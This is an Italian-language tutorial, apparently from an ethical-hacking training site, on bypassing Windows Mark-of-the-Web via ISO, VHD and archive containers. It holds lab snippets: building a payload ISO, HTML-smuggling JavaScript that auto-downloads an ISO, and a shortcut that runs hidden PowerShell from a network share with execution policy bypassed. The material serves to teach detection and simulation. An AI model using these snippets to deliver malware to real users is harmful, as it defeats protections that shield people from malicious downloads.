Bypass Mark-of-the-Web: Subvert Mark-of-the-Web via Container Files (T1553.005)
Mark-of-the-Web (MOTW) è un meccanismo di sicurezza Windows che etichetta i file scaricati da Internet tramite un Alternate Data Stream NTFS nascosto chiamato Zone.Identifier. Questa protezione impedisce l'esecuzione diretta di contenuti potenzialmente pericolosi, forzando MS Office a usare Protected View e Windows Defender SmartScreen a verificare gli eseguibili.
Gli attaccanti aggirano questa protezione usando file container come archivi compressi (.arj, .gzip) o immagini disco (.iso, .vhd). Quando questi container vengono estratti o montati, i file contenuti perdono l'etichetta MOTW perché molti formati container non supportano gli Alternate Data Stream NTFS. Il risultato è che malware nascosto in ISO o VHD viene eseguito come file locale affidabile.
Questa tecnica appartiene alla tattica TA0005 (Defense Evasion) ed è utilizzata da 3 gruppi APT documentati, con 2 famiglie malware che la implementano attivamente.
Per simulare questa tecnica in laboratorio, inizia creando un file ISO contenente un payload. Su Windows, usa PowerShell per generare un'immagine disco:
$ISOFile = "C:\temp\payload.iso"
New-ISOFile -Path $ISOFile -SourceFiles @("C:\temp\malicious.exe") -Media CDR -Title "Test"
Il file ISO erediterà il MOTW se scaricato, ma quando lo monti con Mount-DiskImage, il contenuto perde questa protezione. Per verificare la presenza del MOTW, esamina l'ADS:
dir /r C:\Downloads\file.iso
L'output mostrerà :Zone.Identifier:$DATA se presente. Dopo il mount, i file estratti non avranno questo stream.
APT29 ha perfezionato questa tecnica incorporando ISO direttamente in file HTML. Puoi replicarlo codificando l'ISO in Base64 e usando JavaScript per il download automatico:
var iso_b64 = "UEsDBAoAAA..."; // ISO in base64
var a = document.createElement('a');
a.href = "data:application/octet-stream;base64," + iso_b64;
a.download = "document.iso";
a.click();
Per Linux, crea un archivio che Windows non etichetta correttamente. Gli archivi .tar.gz spesso bypassano MOTW quando estratti con tool di terze parti:
tar -czf payload.tar.gz malicious_script.ps1
TA505 preferisce ISO con file .lnk malevoli all'interno. Crea un collegamento che esegue PowerShell nascosto:
$WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("$env:temp\update.lnk") $Shortcut.TargetPath = "powershell.exe" $Shortcut.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -File \server\share\script.ps1" $Shortcut.Save()
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo